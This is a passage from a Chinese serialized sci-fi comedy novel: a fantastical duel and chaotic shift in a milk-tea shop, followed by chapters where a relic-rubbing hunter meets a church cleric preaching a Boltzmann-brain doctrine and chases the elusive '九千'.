她一抬头,以奶茶店为中心一米内无人路过,她困惑地抬起头看天,没下雨,又四处环顾了一圈,始终没发现异样。
“那……那我去了?”她踉跄了几下站起身,“不好意思,您明天再来,我给您多加小料。”
她跌跌撞撞往医院去了。
四周陷入寂静。
律易棋叹了一口气。
他就地一滚,躲过从他耳侧插进地面的那一剑。
另一把剑迎面而来,他一脚蹬上奶茶店柜台,借反作用把自己推出剑的范围。另一把剑也插入地面。
对面那道黑色的影子低低冷笑,他的手指攀上剑柄的末端轻轻一推,插进地面里的剑倏然消失。双剑被轻巧地并作一处,两头生出一串银色光束,成了一根细长坚固的长棍。
长棍甩至律易棋眼前。他太熟悉这武器的变化多端,常人绝不可以贸然去接这一棍,不然连血管都会被烤焦。
但他不是常人:进化会出品,基因优选人类,下可耐53度高温上可硬抗神经毒素,最高纪录是直面领导的精神折磨长达两年。区区长棍,那还不是手拿把掐!
于是他伸手往长棍上抓。
对方悚然,银光收回柄中。律易棋趁机抓住他飘至身前的长发,不想对方的头发柔滑如绸缎,手指穿过发丝就像穿过水流,什么也抓不到。
趁此机会,对方扣紧双柄,向下狠砸他后颈,力道宛如重锤击打。律易棋闷哼一声,就地翻滚至后厨前,一把拽下门框上轻帘套住对方手腕:“好久不见,错。”
银光乍现掠至眼前,剑刺过门帘像天光刺破云层,被它戳穿的粗糙的布料上显现出一个焦黑的镶边。黑色顺着织物蔓延,仿佛一滴墨落进水中,眨眼间半张门帘都染上墨色,针脚里浸出橙红的火舌。
律易棋拈住完好的布料,将它捋下剑身扬上天空。银光直逼他眼前,而他向后倒撤撞上后厨洗手台。布料燃烧殆尽,火雨如同一顶头冠笼罩后厨。
长发男人旋身倒踢银光剑,将它当作长枪钉向律易棋面门,律易棋拿准时机低腰前倾,直接握住高速飞旋的剑柄。他被惯性向后带得后退两步,身后的不锈钢果浆桶让他缓冲了一下,虽然剑身捅坏了果浆桶,但好歹没让它捅穿墙壁。
“最后一代的基因优选人,在爬行文明苟延残喘。”错的声音蕴含着冰冷的怒意,“你终于被掮木抛弃了?”
“嗨,这怎么能叫抛弃呢?”律易棋在手里挽了个剑花,有点尴尬地不愿和错对视,“我这叫监视,加休假。”
“哦?像是掮木在坎冬‘休假’那样?”
“……这可不一样哈!”
错冷笑一声,再投出一柄“银枪”,扎进不锈钢桶,律易棋紧急去捉。而错手指一勾,枪就回到他的手中。律易棋抓了个空,只是被淋了半只袖子果浆。
……这下可坏了,掮木的衣服都是定期发放,身上穿的是加入掮木后的唯一一件私服,还是康烁影凑单买了扔给他的,让她发现弄脏了她要闹。
“太不珍惜我的心意了,送我点百醇补偿我。”康烁影假模假样的生气表情近在咫尺。
想到自己收支过于平衡的账本,律易棋心疼得直龇牙:“你小心点儿,我这是白衣服。弄脏了你给我洗?”
错不理会他:“你还不放弃掮木?它究竟给你下了什么精神控制?”
“我想去掮木。”律易棋道,“我得去。”
“把弃首变成了那副样子也是你想做的?”错低吼,“人不人鬼不鬼,全身上下除了脑子哪还有一点人类的影子?废墟时代的义肢感染,派对僵尸,自然人大灭绝,还没让你醒悟吗!人类机械化终将走向毁灭!”
律易棋双手一摊:“她喜欢呗。谁能强迫弃首做她不愿意的事?恐怕这个人还没有出生,以后也不会出生了。”
“你就这么纵容她?”
律易棋啧舌:“朋友,弃首她六十岁了,不管是从基因优选人还是人类平均寿命来看,她都是成年人了。我还要去管教一个成年人该怎么做?”
“即便她触犯人类的禁忌与底线?”
律易棋眉梢一挑:“我们又不是没那么做过。”
错的下颌绷得极紧。地球最热的八月里,他穿着漆黑的婆旦制服,胸前挂着一颗剔透绚丽的宝石胸针,腰带两侧各扣着一块青色的方格,中间用银链相接。
“我不明白。”他的语气古怪,“……我们的生活到底有哪里不好,你和弃首为什么要去过四处逃亡的生活?”
“挺好。”律易棋道,“但是我不喜欢。”
银剑破空而至。
说时迟那时快,律易棋脚下一松,顺着洗手台直直坐在地上,顺势抄起操作台上的雪克杯喝了一口——呸,纯糖浆。
错换剑为棍,直扫律易棋脚底,律易棋抓住货架翻上洗手台,他将长棍转了一圈,与地面平行直接前推,凡是长棍过处皆留下焦痕一道,放在高处的份数盒被削去一大截,货架咔啦一声落下,晶球椰果满桌滚落。律易棋连连后退。
本该是压倒性的局面,错却突然原地踉跄,律易棋找准时机用右肘撑起身体踹中他手里的剑柄,剑柄脱手,银光也随之消失。
错冷笑一声,再次勾手召回剑柄,律易棋却抄起雪克杯将剑柄勾进杯底,另一只手去勾操作台上的滤冰器盖回雪克杯上,一套调酒师般行云流水的晃杯,将两只剑柄倒扣在杯中。
“怎么样?”他手压雪克杯,身子斜靠操作台,对着错眨了下眼睛,“技术没退步吧?”
错没有理会:“谁能凭借自己的喜好活着?你们就因为这种原因把自己置于危险中?”
“我们能。为了让我们能,我们才把自己置于危险中。”
“你们在轻生。”
律易棋深深叹了口气:“你才是在轻生,错。不管你信不信涨落之潮,信不信来世今生,你作为错的人生也只有一次。在忍耐,委曲和得过且过中度过一生才是轻生。”他把雪克杯在桌上重重一砸,“我们,这叫重(zhong)生!”
“歪理邪说!”错伸出双手,手指一根根捏紧,耳朵里涌出鲜血,瞳孔缩得像针尖。雪克杯里的剑柄银光四射,光束融化雪克杯外层的塑料,直直飞回他手中。
他正要再出手,操作台下层不锈钢冷藏柜“砰”地打开,里面滚出一个年轻女生。女生穿工作围裙,头上包雪王头巾,双手紧紧抱着脑壳,嘴里发出嗬嗬的呻.吟。
律易棋吹了声口哨:“刚刚就是你绊的?”
错:“……掮木的人?”
女生显然已经没有办法回答他们了。她的耳朵里已经开始流出鲜血,然而她还是在地上扭动,企图把自己撑起来。律易棋和错对视一眼,都感觉有哪里不对,赶紧把她扶起来。
女生的瞳孔近乎涣散。她指着操作台,嘴里涌出一串白沫。
“什么?什么?低声说!”律易棋把耳朵凑到她嘴边。
女生颤颤巍巍:“一……一……一个小时……结工资……”
律易棋立刻想起她是谁了。
打折时期的扫货王,康烁影身边的省钱狂。一分钱掰八分花的究极穷鬼,adibas修成adidas的史上最强造假师,张晓怡女士!
当然,最主要的是她在麻辣烫店干过几天,律易棋跟刘征兰她们一块儿吃饭时被康烁影推荐了她工作的这家。他耳朵比较好使,听见张晓怡小声骂康烁影多管闲事。
张晓怡这幅样子,明显是受到次声波武器时的症状,而错驱赶顾客和店员都是用这种武器。段时间内受到这种攻击并不会怎么样,只是难受而已,但长时间接收声波可能会让内脏、大脑等器官共振,真正意义上闹心到死,这也是为什么蚊子扇翅膀的声音那么讨厌。
那么就有人要问,张晓怡逃跑不就好了吗?可是她这才工作了四个半小时,要是出去看病,她这半个小时不就白干了?另一方面,她打死也不想在众目睽睽之下走出奶茶店,宁愿死在后厨,她也绝不要被同学问“你是不是缺钱”。
所以她硬吃次声波武器打死也不出去,脑浆都要摇匀了。
错刚刚关掉了次声波,此时耳朵里还在流血。但他毕竟是星际文明的公民,常年次声波污染,抗性比地球人强多了。看到头痛欲裂的张晓怡,他挥出银剑,往她太阳穴扎去。律易棋一把捏住他手腕:“干什么干什么!爬行文明也是人!”
“当然是菲尔希尔(神经细胞烧杀)。”错挣开他的手,“不把她神经细胞杀死,万一她记起来这里发生过什么怎么办?”
“菲尔希尔对脑神经伤害很大的!人家要高考了经不起这一下。”
“啧。”错甩手,“你说怎么弄。”
律易棋扶起张晓怡:“喂,喂,听得见吗?”
张晓怡的眼神聚焦了一瞬,看到一片狼藉的室内,发出撕心裂肺的尖叫,然后又倒回去蠕动。
“我的……我的……”她努力往操作台上爬,“我不要赔偿……我要……工资……”
律易棋大惊:“不是,都这个时候了!你还要工资!”
错把剑柄收起来插回腰带里——她这样子估计什么也没听见,脑子里光循环“不能旷工”了。
张晓怡虚弱地发出遗言:“你这个光给康烁影和刘征兰免单不给我免单的杂货店老板是不会懂的……”
“定语好长。你这不是有劲儿吗?”
张晓怡死撑着不晕:“我要拿工资……”
“你拿!你拿!你歇着!我们给你想办法!”
律易棋把她放倒在后厨角落,开始给弓粟发消息。
“救命救命,十万火急。”
“什么事?”
“删个监控。”
弓粟不明所以,但还是说了好。
律易棋环视一圈,把角落里的拖把塞进错手里:“快快快,把她和你自己耳朵里的血洗一洗,这儿收拾一下,该擦的擦了该扫的扫了,柜子下面的用你万能的量子剑烧一下融化掉再冲。”
这辈子都没有亲自动手打扫过房间的错:“……那你干什么?”
“我去门口接客啊!你又不会说中文!”
果然,错一关掉次声波武器,奶茶店门口立刻排起队伍。律易棋摘掉张晓怡的头巾和围裙,在操作台上洗了遍手,一个转身冲到门口:“一拉下一马赛!”
第一位客人要了冰鲜柠檬水,第二位客人要了百香果奶茶,这些都好解决,可是暴打鲜橙就有点棘手,错端着橙子和奶茶杯从后厨撤出来,黑着脸把杯子砸在前台:“你做。”
标签打印机里库库库出标签,律易棋一面贴标贴得恨不得长出八只手,一面跟外面顾客解释:“对的我们可以去冰。”“哦葡萄有有有夏天就是要喝
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果茶嘛,”“甜筒好的马上就来。”
即便错把杯子推到他眼前,他也压根没空回头:“捣汁棒就在旁边,你照着砸就行了。”
错把杯子往后厨一丢,转身要走。然而张晓怡听到他的脚步立刻把自己扯起来:“工资…………!”
错被她的执着震撼了。
“你很缺钱?”他问。
笑话!她张晓怡什么时候不缺钱!除非她死了!
但是她不会说这些话,只能痛苦地摇头。
面对这粉身碎骨浑不怕要留金银在人间的态度,错深深吸了一口气,去后厨洗手,开始暴打橙子。
他出来送饮料给律易棋封口的时候,外面有几个排队的高中生指着他问:“这coser什么情况?”
她们的本意是好奇,穿成这样符合卫生条件吗。从她们身后经过的路人顺便看了一眼,顿时倒吸一口凉气,开始跟随众人排队。轮到他的时候律易棋眼睛都不抬:“欢迎光临请问您要点什么?”
路人:“一杯神经探戈。”
律易棋猛然抬头。但面前这人没有看他,而是死死盯着后厨。当错又一次冷着脸从后厨丢出没封口的奶茶杯,他立刻叫起来:“领导!领导!炼金商会垄断严重啊领导!我们买个重力舱能掏空我家底!这你得管啊!”
错头也不抬,言简意赅:“我是都兰联合驻太阳系的婆旦·颇萝旦发言人,和你们迁氧的玫卢公约没关系。”
“都是都兰联合,分什么你我!”伪装成人类的迁氧把整个身子压在柜台上,“总之这个问题你到底要不要解决?不然我投诉奶茶店啦!”
错的脸上浮现出淡淡的不可思议,似乎为这人真觉得给奶茶店投诉能威胁到自己而感到震惊。但他身后传出叮呤咣啷一阵响,张晓怡的脑袋千辛万苦探出来。
“别投诉……扣钱……”
错一把将她按回去,沉默半晌,直到后面的顾客都开始抗议,才从牙缝里挤出一句:“你赢了,我回去就通知你们玫卢公约的发言人。”
迁氧赖着不走:“我怎么知道你说的是真是假?”
错直接摘下胸针:“你自己跟她说!”
迁氧走到一边,开始跟自家人哭诉:“领导我在地球可受苦啦呜呜呜呜呜……”
有第一个自然会有第二个,很快一个伪装成工程师的智械来到奶茶店里,点了一杯棘轮果汁,律易棋轻车熟路向后招手:“错有人找你!”
智械表情肃穆,向跟着教程搅茶冻的错轻轻颔首:“你好,我是来自和平联合的智械。”
错手下不停。只要稍微放缓速度,张晓怡就会从后厨爬出来:“和平联合什么时候要找婆旦帮忙了?”
“远在异乡,我们都是思乡人。”智械慢吞吞,“上个月,我的改装芯盘被一位灵肉盗走,它我和仅有几面之缘,我怜悯它四处流浪,特邀它来我家中长住。但它竟然携芯盘出走。此举令人不齿,然而须州办事处由玛丽基金会掌控,员工以灵肉为主。它们对改装芯盘不以为意,并以普通偷盗罪判罚。但我认为这属于盗窃大量金额,应该从重。”
错像炼金术师一样往奶茶杯里兑小料:“所以呢?”
智械郑重:“我要上诉。”
“你去找首都的办事处,那里归刻石人管,很公正。”
“我知道。”智械说,“但我怕中途被拦下……”
“你直接拿我讯传联系首都办事处!”
“好嘞!”
都兰联合驻太阳系的婆旦·颇萝旦发言人在奶茶店工作并且不能被投诉,这件事一下子就传开了。所有移民精神振奋直奔榕城,奶茶店订单如流水,律易棋贴标封口做冰激凌做得得机器冒烟,错一边做奶茶一边时不时探出头解决各路问题。但凡他展现出一丁点撒手不干的倾向,张晓怡就会挣扎起身,搞得他一点办法都没有。
“我想买义友新涂装。”
“去找炼金商会进。”
“地球氮气含量有点太少了能不能把我送去隐者星系啊?”
“那边没社保,你自己看着办。”
“我想回家看看,但跳格子太贵了,我能不能走都兰联合的格子?”
“赚钱太累了,我能不能直接去抢银行?”
“您能不能直接送我一颗兰卡的宝石啊?”
“旁边这个贴标签的脑袋倒是可以给你。”
连温蒂妮都驱车直达奶茶店门口:“税能不能略降一点?”
这次都不用错回答,律易棋抬起头语重心长:“炼金商会都捞钱捞到那个地步了,你再早来几分钟,排队的全都是想把你打死的客户,你还好意思提降税?”
温蒂妮灰溜溜离去:“我就说说……”
律易棋在后面喊它:“降价!记得降价啊!”
“一定一定……”
温蒂妮后面是两个女学生,两人抱着好几套份数盒放在柜台上,高马尾那个一脸贼笑:“我要芸香科柑橘属木本植物的精华液,和以茶树芽叶经过萎凋、揉捻、发酵、干燥等典型工艺过程精制而成的饮品混合。”
戴眼镜那个说:“我要找不着北瓜汁。”
“柠檬红茶和冬瓜南瓜西瓜混合汁,好的明白。冬瓜汁没有了甜筒你看可以吗?”
刘征兰一脸做作的感动:“你懂我。”
律易棋随手摘掉身上的工作服,一把将地上的张晓怡捞起来:“错,你先去前台看一会儿。放心吧现在没人了,站在那儿就行。我把她弄醒。 ”
错面色不善地站到前台。那两个女学生谁都不怕她,贼笑那个把他看了又看,手指在屏幕上疯狂盲打。戴眼镜那个时不时抬头瞄一下他的制服,大部分时候在埋头看手机。
终于,眼镜女看到了一条消息后就神色匆匆地拉着朋友走了。错长舒一口气,转身走进后厨。
那里空无一人,损坏的货架和份数盒都被重新修复归位,地上仰躺的女生神情安详,毫无痛苦之意。若非垃圾桶里烧毁的门帘,没人能知道这里发生过什么。
错咬紧牙关,拂袖而去。
律易棋回来后就把莫妮卡杂货店用折射影像变成莫妮儿杂货店,争取晚点被发现。据康烁影说,当地的“毛妮儿”是小女孩的意思,正好是谐音,非常有当地乡土气息。
张晓怡果不其然什么也不记得,光记得自己拼命站起来做奶茶这件事了。发现当天营业额不降反增,还觉得是自己上课锻炼出来的超能力:睡着了也能活动。
但她事后痛定思痛,觉得连锁奶茶店后厨还是不适合自己,她要继续去私人店当黑工!争取再也不要被康烁影和柳令全找到!
94.玻尔兹曼大脑
柯玛社会,光锥太空站。
殷梭跟随文件夹猎人的步伐,平生第一次踏入涨落之潮教会。
教会占据太空站三分之二的面积,主体是一座巨大的圆顶教堂,墙体是类似于冷却塔的双曲线形,飞扶壁跨越数条长廊尖柱,如撑天之桥。
最奇妙的是,教堂两侧各有一悬空平台,不凭依任何物体,完全依靠引力改变而悬浮。平台下方是两座观礼台,每当有礼拜或节日,信众可在此处躲避行星风和宇宙垃圾。
圆顶上实时展现星轨变换,物换星移。而圆顶周围开出一圈彩窗,众色兼备,折射出琉璃般透明光彩。
教堂内寂静无声,简约无瑕如虚无般的地面和铺天盖地的白墙壁令殷梭不住地检查自己的衣着,旁边的藤发人用脚跟碰了她一下,她赶紧把手里的拓碑细叶豪收进斗篷里,礼貌性地朝伊点头。
带头的猎人名叫乌鲁,是一头性情温和的母象,它把长鼻卷曲落在地上,声音恭敬:“乌鲁图求见100阁下。”
祭坛后宝库般的门扉“吱呀”敞开。乌鲁回过头,望向身后的六人小队,猎人们向两侧让出道路,殷梭深吸一口气,快步走上前,挽住乌鲁的长牙。
乌鲁领着她向门后走去。那是另一个空间,与圣殿不同,这是一个漆黑而宽敞的房间,两侧的蓝绿彩窗让人像身处数据之海。伴随一声轻微的响动,铁护栏升起,整个房间向上移动,数秒之后,她们来到了另一个漆黑到房间。
一名人类女性站在她们面前。
乌鲁再次将象鼻放在地上,身体也随之低下。人类则伸出右手按在它头顶,轻声说:“查丹。”
而殷梭只是冲她一拱手,没有其他表示。
100笑了笑,面对不信教的人,她将手掌垂直贴在一处,拇指互扣,低声祈祷:“查丹。”
“100女士,我们的新人狩猎成果相当可观。”乌鲁直入正题,“对于她为教会做出的贡献,我认为她值得一个奖赏。”
100的脸上挂着一架绕过整张脸的粉色透明电子镜,电子镜的支撑点是太阳穴上两颗神经元一样的粉色链接线。她睁着梦幻的眼睛,声音空灵如天使:“是吗?你想要什么呢?”
殷梭冷静地看着她:“我想要阅读空想文明和文件夹有关的资料。”
100略微歪过脑袋:“是这样吗?这样的话,我建议您加入我们涨落之潮。向永恒静默的黑洞宣誓,经历朝圣之路的硫磺火洗礼,你的灵魂就会永远铭刻在阿卡西当中,不流失分毫,不折损寸缕,达成真正意义上的永生。如此以来,你便可阅读前人智慧所凝结的典籍。更高级的资料,也只需要一段时间的历练,就可以向您敞开了。”
“我对神没有信仰。”殷梭道,“我去阅读是为了记录,记录是为了传播。”
“啊……”100有些苦恼地点着太阳穴上的神经元,“无信仰者,您是追求真相的智者,挑战信众的勇者,还是纯粹的贪慕财富?”
“我只是个普通的拓碑人。记录既然存在,就值得被拓写和传播,而不是封存在圣堂中不见天日。”
100思索了许久,久到她的粉色电子镜里都发出浅浅的光彩,她才慢悠悠地说:“啊……好吧……既然如此,让我看看您的成果。”
殷梭卸下腰带上垂坠的风铃放在100手里。风铃之间有柔软垫片,发不出任何声音,每根管内看似空空如也,100的电子镜里却冒出了庞大的数据分析。她确定了这些东西的真身,轻飘飘地将这风铃浸入圣水池中。池中闪耀出黑色的光芒,八枚金币跃出水面,清脆声响落在光滑无痕的地面。
“八枚金币。看来您的确尽心尽力。”100动作轻柔地举起无声风铃,“乌鲁,退下吧。”
乌鲁颔首,转身离开了这个房间。
100捡起五枚金币,放进这是涨落之潮的奖励,换算作涨落点,大概有四万元。
“您知道文件夹的真身是什么吗。”她语调平直,不像在发问。殷梭静待她的下一句话,果不其然,她面向圣水池张开双臂,“熵脑,你们称之为,‘文件夹’。
“我们生活的世界有序性相当高,熵相当低,而宇宙在膨胀这一事实又说明宇宙过去曾经处于一个熵更低的状态。封闭宇宙的熵永远不会减少。最可能的宇宙是一个高熵态物质分布均匀的宇宙。
“我们观测到的低熵世界来源于高熵宇宙的随机涨落。大的涨落可以造成熵很低的状态,概率也很低,但在宇宙广阔尺度下仍然会发生,而我们自身的存在也是来源于这种涨落带来的低熵世界。进一步演绎就可以得出:这种涨落有可能产生一个大脑——自我意识实体,对于我们来说,宇宙中应该有很多这种孤单的熵脑漂浮在无序中,ta们有和我们不同的意识和记忆。因此对于宇宙来说观测者更有可能是这种随机涨落出现的大脑,而非人类这种进化出来的大脑。”
100转过身,身后的风琴骤然奏起音乐:“这些凭空出现的意识就是熵脑,它们不是物质,而是意识本身。本该随着涨落在瞬间里存在,又在下一个瞬间消失,回归黑洞里的阿卡西——那里存在着一切,是我们整个宇宙的存储器,我们的灵魂也将归于那里。可有一些熵脑逃逸到黑洞外,造成各种我们无法理解的现象,增加这个宇宙的无序。为了防止我们的宇宙走向无序与热寂的深渊,教会才发布悬赏,雇佣你们抓捕熵脑。”
殷梭已经非常习惯涨落之潮的不说人话,自从100开始自说自话后一直在神游。发现此时周围陷入了奇妙的停顿,她拉回意识,配合地机械性赞美:“涨落之潮为宇宙秩序贡献良多。”
100笑了笑:“主引领着我们,祂不愿看到地上混沌,为魂灵所困。便降下语言,令我们铲除熵脑,使熵脑回归阿卡西,使宇宙回归秩序。”话锋到此处一转,粉色电子镜向上抬起,殷梭看到她镜片后金子般的眼睛,“而你,无信仰者,似乎觉得我们愚昧而盲从,寄托信仰于一个飘渺的事物。”
殷梭有求于人,自然不会承认:“不,我只是对涨落之潮的教义不甚明晰,不愿草率发誓,可心中又实在向往熵脑的真相,无法再等待。”
100低声叹息,她抬起手,把八枚金币放在她手心里
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:“无信仰者踏入藏经圣所,古往今来,未有此先例。可如今教会为一人所困,亟需解答。您想必知道,天国之外的任何地方都不可能做到洁白无瑕,即使是主脚下的圣所。因此,我们决心雇佣异教徒、无信仰者和贪财之徒,寻找真相,确保ta不会对教会有所威胁。”
殷梭明白这是一场交易,教会应该已经向许多和她一样想从教会手里得到报酬的人发起这项委托。她点点头,接下了这份委托:“愿闻其详。”
“IX Tab,你们猎人似乎称其为九千,是吗?”
“正是如此。”殷梭如实道来,“ta的身份不明,但近一年来在文件夹猎人中极度活跃。每次兑换奖励,都是委托无关者在小型教堂外的圣水池前兑换,至今为止还没有让知道ta的真实身份。”
“我主远在神国,难免遗漏地上的絮语。无信仰者,您可知道ta被如此称呼的原因?”
殷梭习惯于收藏和记录信息,自然知道这些传言:“ta自称IX Tab,早年常出没于适宜碳基生物生活的地域进行捕捉,根据地理位置推断,ta大概位于……一颗名叫地球的爬行文明行星。根据铃铛·彭达斯的推理,IX在地球的文明里代表数字九,而Tab意义不明,直译为标签,根据地球的谐音,翻译为九千。”
“叹为观止的信息收集能力。”100抚掌赞叹,“那么,这位爬行文明的旅客为何能在繁星中穿梭自如?”
“我怀疑是移民,或者当地的员工在违法使用跳格子。”殷梭小心地寻找词汇,“您也知道,在……呃……和平仍未降临的当下,许多生物跟随莫妮卡运动,离家出走到隐者星系群和爬行文明,更别提是怪谈多发的地球。”
100没有承认,也没有否认,只给出一个模棱两可的回答:“教会的确会向爬行文明的办事处发布委托。下一次我们将向各个爬行文明的办事处发布不同委托,逐步缩小范围。”
殷梭实在不知道要接什么话了,她沉默无言地看着100,100也看着她,两人面面相觑许久,涨落之潮的教士终于轻启金口:“不知您可否允我亲眼一睹九千的真容?”
殷梭难以启齿:“呃……真抱歉……您是教士,当场观战需要一定的力量……”
100的右手覆盖自己的脸颊,神情困惑:“哦?无信仰者,您是认为我孱弱而无力,无法面对熵脑的无序?”
“呃……”
“如您所想,我的确没有经历过训练。但我相信,主不会令祂忠诚的仆人枉死。若我死,我的灵魂便归于阿卡西。若我不死,那说明……”她微微侧脸,浮现神秘莫测的笑容,“我主向我身边派来一名守护者,ta将夺下敌人用谎言编织的面具,摘取清甜可口的真相之实,以无凭依之意志涉足主座下的神国,翻阅有着地上阿卡西之称的藏经圣所中所有典籍。”
“是……”殷梭道,“我明白了。”
她侧身让步,跟随100的脚步走回圣殿,心里暗骂:
“涨落之潮都是一群谜语人,‘我不保护她就不能看书’这话很难直说吗?神经病!”
95.不羁的喝彩
实话实说,殷梭曾有一次和九千正面交锋。
当时的目标是一只横冲直撞的熵脑。熵脑的定义至今还是个争论不休的话题,有人认为它根本不是物质,因为它没有实体,只是在生物被“附身”事作为一种被观测的现象。也有人认为它具有实体,只是目前还没有“发现”它的方法。
顺带一提,大部分看似灵异的现象都不是熵脑作祟,熵脑刷新率极低,在同一颗星球上接连出现的可能性约等于猴子打出莎士比亚,只不过在宇宙尺度下才显得数量众多。如若感觉情绪不稳定,有幻听、幻视等情况,请视情况去看心理医生。呃,当然,如果医生判定精神分裂可能会留档,请注意求职方面的影响。
好了让我们离开过于现实的层面回到科幻频道。
总之,当时的目标操纵着狮子的身体逮谁咬谁,主要目标是一些霓虹派灵肉,嘴里还嘟囔着:“人都有没衣服穿的,动物怎么能穿衣服,宠物怎么能过得比人还好!把猫猫狗狗当爹供着你对你父母有这么好吗!不反对不支持但你不能大肆宣传,宣传了就是你的错不要影响一些正常人!”
殷梭抽出风铃,开始面无表情地朗读:“狗彘食人食而不知检,涂有饿莩而不知发。你说得对现在的人真是不知检点藐视人类的尊严没有家教……”
熵脑立刻被吸引了,完全凭借主观行动的它奔向和自己观点相符的殷梭,几乎要被她的风铃吸入其中。一个声音陡然响起:
“过来。”
口罩、围巾、手套、镜框一高一矮造型极度挑衅的墨镜、出现在同一个人身上。这年头已经很少有人使用这种朴实的伪装方式了,殷梭看得一愣。
就在她愣神的功夫,狮子转头奔向那个人。那人摇晃着手里的杯状物,声音轻缓而疲惫:“过来。”
殷梭叹了口气:对不住了朋友,我真的很想看资料。
她拔出腰间的长刀,用刀背去敲对方的手腕。而对方纹丝不动,脚下出现一片夺目光芒,ta的身形向下一沉,骤然从光芒中消失。不过片刻,那光芒又在远处出现,ta的身影从中显现。
而此时,那只可怜的狮子已经瘫倒在地,殷梭去摸它的心脏,还在跳动,大概是摆脱熵脑的影响了。
至于那个神秘人,已经收起手里的东西,毫不犹豫地向身后的光晕里倒去。奇异的光芒吞没它的身体,随后光芒也原地消失了。
殷梭冷漠地看着ta曾站立的地方,腐朽的心沙拉沙拉掉木屑,她心想:好啊,又白跑一趟。
回程时她用短剑为居住在这里的灵肉举办了葬礼。葬礼属于这头狮子的弟弟,它死于人疫,这种病会让灵肉以以别人的情绪为生。病人先是创造快乐,再是捕食更容易引起的愤怒和悲伤,直到不吃不喝,在无尽的饥饿中死去。殷梭在当地人的请求下拆解狮子的身体,再把它埋到树下滋养土壤,内脏剖给食腐动物。醒来的狮子分到了弟弟的一块肉,只有家人才有资格食用尸体。
“好吧。”狮子说,“希望找来的熵脑是我弟弟。”
“你和它感情那么好,为什么还吃掉它?”殷梭用鲜血淋漓的手为拓碑的事业增添新的文字。
“它的灵魂不在这里,这只是一具空壳。”狮子用牙撕扯地上的脂肪,贴紧草地的是一片它曾倚靠的皮肤,“食草动物死后被我们吃,我们死后被食腐动物和植物吃,对于我们原始派来说,世界就是如此。霓虹派可能还会学习人类尊重尸体,但我们只尊重灵魂。”
殷梭握紧动物们给她的货币——河里的沙金:“好吧,谢谢你的解释。”
事后她才知道,那头死去的狮子正是为了追寻熵脑的传说,从悬崖跌下,实际上它看到的是电晕放电现象,电位差较大时空气被当成了导体。
以及,那个神秘人正是九千。但那其实不太重要,她对灵肉神秘的传统更感兴趣。猎人是工作,拓碑是生活。
再一次和九千会面,她心里没有多少紧张。对方不曾对她表现出攻击性,她自然也不会恐惧,她更恐惧身边的100。她说话她压根听不懂,一长段话里经常提取不出一点内容,里面夹杂着大量修辞、引用和专有名词,所有语言都能揣摩成任何意思。这种人最恐怖了,应该回学龄前进修一下如何说话。
100号称已经确认九千来自地球,并且准备向地球某地发布指定任务,这次必定揭开ta的真实面目。
这次的任务名叫舞者。目击者称最近总有人在街上跳舞,他们的共同点是将掌心朝上举过头顶,双脚与肩同宽,身体不断左右扭动,并且总是不让人看到正脸。
“无凭依者,或眷恋俗世,或向往肉身,最终竟越过那有进无出之地。”100深深地叹息,“愿其回归阿卡西。”
殷梭斜眼乜她。
100浑然不觉,仍然用梦幻的眼睛看着她:“请开始吧。”她说。
殷梭踏入她手指的彩窗,脚下引力霎时紊乱,空间折叠扭曲如无尽之圆,她从彩窗的对面走进去,一步落入富丽堂皇大厅。她大惊失色,一个错步撞到身后的100,教士扶住她后背,声音轻灵:“欢迎来到和平联合的奇点剧院,由于舞者经常在附近出现,我们将在这里进行抓捕。”
“你疯了!”殷梭一下子跳开,“这么多人,你疏散了吗?”
“文件夹猎人来去无影,属于自由职业,相关活动无法向官方组织报备,我们涨落之潮只能以宗教活动为理由租借剧院,剧院之外并非圣土,我们无法保证民众的安全,所以才需要你的出面。”
殷梭决定回去查一下自己社保。
就在此时,舞者悄无声息地出现了。
剧院的旋转门外,一个人类手心朝上,双手举过头顶,开始扭动自己的身躯。
她的存在像是一颗人头滚进篮球框里,将人的注意力以诡谲的方式锁定。注视她的人无不毛骨悚然,以她为中心迅速向外疏散。
闹市的街头,霓虹闪烁,一个全力舞动的女人,以旁若无人的癫狂姿态,恐吓了所有生灵。
“这就是你所谓的疏散!?”殷梭大惊,“这放在我母星可是事故!”
100眼神飘忽:“啊……没办法……现在虔诚的信徒已经不多了呢……”
“神权削弱了是吧?”
100挪开视线,盯着天花板上的花蕾吊灯。
殷梭无数次叹气。
在闹市不可能用刀,她把全身的刃器卸下来交给前台,顺着旋转门绕了一圈,走到舞者身前。一想到下面要发生什么,她就感到身心俱疲,忍不住去摸短剑的剑柄,手却摸了个空,不由得更加疲惫。
她迈进人群中,向所有人鞠了一躬:“不好意思诸位!”她提声解释,“这位是我们剧院的演员,奇点剧院将于明日首次进行舞蹈演出,请大家赏光。”
她拽住舞者的手臂,飞快地拽着她钻进剧院,即便她如此迅速,依然能感觉到从舞者那里传来的抗拒。她的身体仍不住地舞动,仿佛是什么东西牵引着她的身体。
旋转门近在咫尺,然而身后传来一个熟悉的声音。
“过来。”
她转过头,全副武装的九千站在她身后,右手两指向她勾起,另一只手里举着一只木杯。
这副奇怪的打扮令路人退避三舍,退着退着大家意识到一件事:不对我们人多啊!看热闹是所有生物的天性,路人立刻又围了上来。
九千显然也不喜欢被当作展品围观,ta脚下再发强光,身形一转,站到了殷梭面前,对着她手里的舞者勾起手指:“过来。”
可舞者不像狮子那样顺从,她浑身颤抖,嘴巴大张,喉咙深处的声带振动:
“啊!!!!!!”
高亢而持久的尖叫使所有人毛骨悚然,殷梭抽了一口冷气,正想去捂她的嘴,舞者的身体却霎时软了下来。她一把搂住这具身体,心中有某种不妙的预感。
果不其然,在人群中,一名使用蝴蝶形义友的男人忽然跳起来,他的身体不受控制地舞动,义友也从他肩头落到地上。
他的眼睛死死盯着眼前的剧院。骨头逐渐从坚硬的钙质变得酥软无比,疲惫的双腿拖着身体,向剧院一步步扭去。
殷梭解下腰间风铃,正想将它扣住,一道光墙却自眼前降下。100的电子镜上数据流动,整个剧院都被笼罩在流动的古怪绿光中。
殷梭用披风探了下光幕,披风的一角烧出焦黑的一角,是电流。她不敢妄动,只能紧紧盯着舞动的人:“100!开门!万一舞者具有攻击性……”
100动了动嘴唇,轻柔的声音竟穿过遥远的距离传入她耳中:“放心吧。主会指引我们。”
放个鬼的心。
殷梭急火攻心,当即要回头取刀。
然而她转身的空档,九千消失了。
一个清脆的响指在ta曾站立的位置响起。
那里只剩下一个空杯。
而那个空杯也很快被光芒吞入腹中。顺着光墙外围观群众的视线,殷梭看到光墙之外、奇点剧院高耸的屋顶上有两个身影,一个是舞动的男人,另一个就是九千。
